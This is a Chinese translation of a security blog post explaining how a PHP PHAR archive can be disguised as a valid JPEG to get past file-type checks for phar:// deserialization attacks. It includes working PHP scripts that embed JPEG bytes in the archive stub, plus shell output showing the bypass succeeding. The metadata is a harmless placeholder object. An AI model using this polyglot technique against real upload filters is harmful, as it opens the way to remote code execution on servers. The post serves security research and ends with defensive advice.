攻擊者是如何將PHP Phar包偽裝成影象以繞過檔案型別檢測的
原文: ofollow,noindex">https://www.nc-lp.com/blog/disguise-phar-packages-as-images
在US BlackHat 2018大會上,安全人員證明,攻擊者不僅可以利用PHAR包發動RCE攻擊,而且,通過調整其二進位制內容,他們還可以將其偽裝成一幅影象,從而繞過安全檢查。
在本文中,我們來看看第二點是如何做到的。
背景知識
在US BlackHat 2018大會期間,Sam Thomas召開了一個關於在PHP中利用 phar://
流包裝器來實現針對伺服器的程式碼執行攻擊的研討會( 幻燈片 )。
在執行PHAR包時,由於PHP會對其內容進行反序列化,從而允許攻擊者啟動一個PHP物件包含鏈。其中,最有趣的部分在於如何觸發有效載荷:歸檔上的任何檔案操作都將執行它。最後,攻擊者根本無需關心檔名是否正確,因為即使是失敗的檔案呼叫,PHP也會對其內容進行反序列化處理。
此外,攻擊者完全可以將PHAR包偽裝成一幅影象:在這篇文章中,我們將為讀者解釋他們是如何做到這一點的。
降至位元組碼級別
有時我們會忘記這一點,那就是在機器眼裡,檔案只不過是一堆遵循預定義結構的位元組而已。對於應用程式而言,將檢查自己是否可以管理這樣的資料流,如果可以的話,就會生成相應的輸出。
在Thomas的演講中,曾提示如何建立具有有效JPEG頭部的PHAR包。
圖片引自Sam Thomas的幻燈片
不過,這裡我們要做的是建立一個具有JPEG頭部的檔案,並更新PHAR的校驗和。這樣一來,PHAR包一方面會被視為一個影象,同時,PHP還可以繼續執行它。
開始下手
聽起來,這裡只需修改幾個位元組並更新校驗,按說應該非常輕鬆,對吧?
然而,事實並非如此。
計算校驗和(至少對我來說)是一件讓人頭痛的事情。所以,我想:如果讓PHP來代勞的話,會怎樣呢?
所以,我對Thomas的原始劇本進行了一番改造,具體如下所示:
<?php class TestObject {} $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->stopBuffering();
如您所見,這裡將原始HEX位元組新增到了PHAR存檔的存根部分。下面是原始HEX得到的結果:
tampe125@AlphaCentauri:~$ xxd phar.jpeg 00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f......xt __HALT_ 00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0aCOMPILER(); ?>.. 00000020: 4c00 0000 0100 0000 1100 0000 0100 0000L............... 00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374......O:10:"Test 00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000Object":0:{}.... 00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5btest.txt.....~z[ 00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000.....~.......... 00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35eatesto...}?..{.5. 00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42....r.&.....GBMB
這同時是一個合法的PHAR包,以及一幅合法的JPEG影象嗎?
tampe125@AlphaCentauri:~$ file phar.jpeg phar.jpeg: JPEG image data tampe125@AlphaCentauri:~$ php -a php > var_dump(mime_content_type('phar.jpeg')); php shell code:1: string(10) "image/jpeg" php > var_dump(file_exists('phar://phar.jpeg/test.txt')); php shell code:1: bool(true)
看到了吧,PHP將其視為一幅影象,我們仍然可以探索存檔的內容。哈哈,好玩吧!
注意:請仔細檢視存根部分,看看它是如何“跳過”開頭部分的PHP標記的。因為這裡是繞過大多數內容掃描程式的關鍵所在。對於存檔來說,是否有效的關鍵在於函式 __HALT_COMPILER()
; 我認為,PHP會通過它來確定出應該“跳過”多少資料。
更進一步
到目前為止,我們製作的檔案已經可以通過任何基於檔案頭的型別檢測了,但是,對於更高階的檢測方法來說,它就無能為力了。例如,使用 getimagesize
來檢查檔案內容是否為影象的話,將返回false,因為它並不是一幅“真正”的影象:
tampe125@AlphaCentauri:~$ php -a php > var_dump(getimagesize('phar.jpeg')); php shell code:1: bool(false)
看到了吧。
但是,別忘了,我們可以在 __HALT_COMPILER()
標記之前填充任意的資料的,所以,如果我們在此填入一幅完整的影象的話,會怎樣呢?於是,我花了大量的時間去研讀 JPEG規範 和 PHP原始碼 ,不過最後仍然沒有理出頭緒,所以,我果斷決定放棄——太複雜了。
那麼,能否直接使用GIMP建立10x10黑色影象並嵌入其中呢?
<?php class TestObject {} $jpeg_header_size = "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13". "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02". "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15". "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14". "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01". "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03". "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11". "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20". "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda". "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9"; $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->stopBuffering();
好了,看看效果如何:
tampe125@AlphaCentauri:~$ file phar.jpeg phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3 tampe125@AlphaCentauri:~$ php -a php > var_dump(mime_content_type('phar.jpeg')); php shell code:1: string(10) "image/jpeg" php > var_dump(file_exists('phar://phar.jpeg/test.txt')); php shell code:1: bool(true) php > var_dump(getimagesize('phar.jpeg')); php shell code:1: array(7) { [0] => int(10) [1] => int(10) [2] => int(2) [3] => string(22) "width="10" height="10"" 'bits' => int(8) 'channels' => int(3) 'mime' => string(10) "image/jpeg" }
這次,我們如願以償了。這個檔案不僅是一個包含我們想要利用的類的PHAR包,同時,它還是一幅合法的影象(我們甚至可以用系統圖像檢視器開啟它):
小結
正如我們剛才看到的,檔案實際上只是一堆位元組而已:如果我們只是利用其元資料進行型別檢測的話,那麼很可能會出錯:攻擊者可以輕鬆繞過檢測,並返回他們想要的檔案型別。要想檢測檔案型別,更加可靠的解決方案是直接讀取檔案內容並搜尋惡意字串。